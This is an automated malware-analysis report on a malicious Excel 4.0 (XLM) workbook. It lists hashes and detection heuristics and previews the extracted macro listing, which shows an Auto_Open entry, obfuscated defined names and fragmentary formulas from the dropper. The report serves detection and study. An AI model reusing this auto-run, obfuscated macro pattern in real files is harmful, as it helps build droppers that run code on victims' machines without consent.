Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 8c83fc66acd704dc…

MALICIOUS

Office (OLE)

31.0 KB Created: 2021-01-25 13:49:07 Authoring application: Microsoft Excel First seen: 2021-02-18
MD5: 1febe8f64202845773042ca855b16d3f SHA-1: 1b7f369644841db346a5677961090df9cb67f596 SHA-256: 8c83fc66acd704dc5e8ebdcbdaf1b6ab2c877cdfc864e50bbb2a64788a1ba663
160 Risk Score

Heuristics 4

  • Excel 4.0 Auto_Open defined name critical OLE_XLM_AUTOOPEN_DEFINEDNAME
    oletools recovered an Auto_Open / Auto_Close entry from an Excel 4.0 macro sheet. The raw BIFF name can be tokenized or partially opaque to byte-string checks, but the recovered macro listing confirms the workbook has an XLM auto-execution entry.
  • XLM Auto_Open with dangerous formula APIs critical OLE_XLM_DANGEROUS_FN
    Excel 4.0 macro sheet contains an Auto_Open / Auto_Close entry and dangerous XLM formula APIs that can invoke programs, write files, or transfer control without VBA.
  • Excel 4.0 (XLM) macro sheet present medium OLE_XLM_AUTOOPEN
    Workbook contains an Excel 4.0 macro sheet sub-stream — XLM is rarely seen in modern legitimate workbooks and was a major Office malware vector during 2020-2022.
  • Macro/content-enable lure medium SE_ENABLE_LURE
    Document instructs the user to enable macros or editing — a common technique used by malware droppers to bypass Office macro security settings

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
xlm_macros.txt xlm-macro oletools.olevba.extract_all_macros (XLM macro listing) 3329 bytes
SHA-256: 5f8344cb7f8639f78e9cccd119ed3aaae5a7fc8b0157a7a3b7b0e74e1eeee3d0
Preview script
First 1,000 lines of the extracted script
' 0085     14 BOUNDSHEET : Sheet Information - worksheet or dialog sheet, visible -  Sheet
' 0085     13 BOUNDSHEET : Sheet Information - Excel 4.0 macro sheet, visible -  ljLg
' 0018    558 LABEL : Cell Value, String Constant - alVJ len=8 ptgArrayA  *INCOMPLETE FORMULA PARSING* Remaining, unparsed expression: b'\x00\x11\x00\x00\x00\x00\x00'
' 0018     23 LABEL : Cell Value, String Constant - built-in-name 1 Auto_Open len=7 ptgRef3d  Sheet!I112 
' 0018     30 LABEL : Cell Value, String Constant - bEwTxwJW len=7 ptgRef3d  ljLg!E60 
' 0018     26 LABEL : Cell Value, String Constant - DNdIGqWl len=3 ptgInt 0 
' 0018     28 LABEL : Cell Value, String Constant - DsJXfq len=7 ptgRef3d  ljLg!H60 
' 0018     29 LABEL : Cell Value, String Constant - GwuRsKd len=7 ptgRef3d  ljLg!I55 
' 0018     30 LABEL : Cell Value, String Constant - HOGusSkC len=7 ptgRef3d  ljLg!B42 
' 0018     30 LABEL : Cell Value, String Constant - JLDxUXnx len=7 ptgRef3d  ljLg!F57 
' 0018     29 LABEL : Cell Value, String Constant - LVoEVAF len=7 ptgRef3d  Sheet!I63 
' 0018     23 LABEL : Cell Value, String Constant - mtnXbzsS len=0 
' 0018     30 LABEL : Cell Value, String Constant - NUFGgUir len=7 ptgRef3d  ljLg!G53 
' 0018     27 LABEL : Cell Value, String Constant - RrUpn len=7 ptgRef3d  ljLg!C55 
' 0018   2043 LABEL : Cell Value, String Constant - SEPQG len=8 ptgArrayA  *INCOMPLETE FORMULA PARSING* Remaining, unparsed expression: b'\x00%\x00\x00\x00\x00\x00'
' 0018    123 LABEL : Cell Value, String Constant - tAemxaW len=8 ptgArrayA  *INCOMPLETE FORMULA PARSING* Remaining, unparsed expression: b'\x00\t\x00\x00\x00\x00\x00'
' 0018     25 LABEL : Cell Value, String Constant - UwPIpTO len=3 ptgInt 0 
' 0018     26 LABEL : Cell Value, String Constant - UyDl len=7 ptgRef3d  ljLg!A48 
' 0018     26 LABEL : Cell Value, String Constant - VMSH len=7 ptgRef3d  ljLg!D60 
' 0018     22 LABEL : Cell Value, String Constant - XpFQ len=3 ptgInt 0 
' 0018     30 LABEL : Cell Value, String Constant - YVQEdGyq len=7 ptgRef3d  ljLg!J55 
' 0018     23 LABEL : Cell Value, String Constant - zAyVN len=3 ptgInt 0 
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' Sheet,Reference,Formula,Value
'  Sheet,B41,"SUM(2,3)",""
'  Sheet,B42,ROWS(tAemxaW),""
'  Sheet,A47,"SUM(2,3)",""
'  Sheet,A48,ROWS(alVJ),""
'  Sheet,G52,"SUM(2,3)",""
'  Sheet,G53,tAemxaW,""
'  Sheet,C54,"SUM(2,3)",""
'  Sheet,I54,"SUM(2,3)",""
'  Sheet,J54,"SUM(2,3)",""
'  Sheet,C55,alVJ,""
'  Sheet,I55,[],""
'  Sheet,J55,T(CHAR(GwuRsKd)),""
'  Sheet,F56,"SUM(2,3)",""
'  Sheet,F57,[],""
'  Sheet,D59,"SUM(2,3)",""
'  Sheet,E59,"SUM(2,3)",""
'  Sheet,H59,"SUM(2,3)",""
'  Sheet,D60,[],""
'  Sheet,E60,[],""
'  Sheet,H60,[],""
'  ljLg,I65,"COUNT(1)+0+SUM(2,3)",""
'  ljLg,I66,[],""
'  ljLg,I69,"SET.VALUE(I95,"")",""
'  ljLg,I74,"DNdIGqWl",""
'  ljLg,I78,"DEFINE.NAME("zAyVN",0)",""
'  ljLg,I80,[],""
'  ljLg,I82,"zAyVN",""
'  ljLg,I84,"['I95', 'I95']",""
'  ljLg,I89,"XpFQ",""
'  ljLg,I92,NEXT(),""
'  ljLg,I98,"['I95', '"ljLgG!R"']",""
'  ljLg,I102,"mtnXbzsS",""
'  ljLg,I106,NEXT(),""
'  ljLg,I110,RETURN(),""
'  ljLg,I115,"DEFINE.NAME("mtnXbzsS",121)",""
'  ljLg,I120,LVoEVAF(),""
'  ljLg,I121,HALT(),""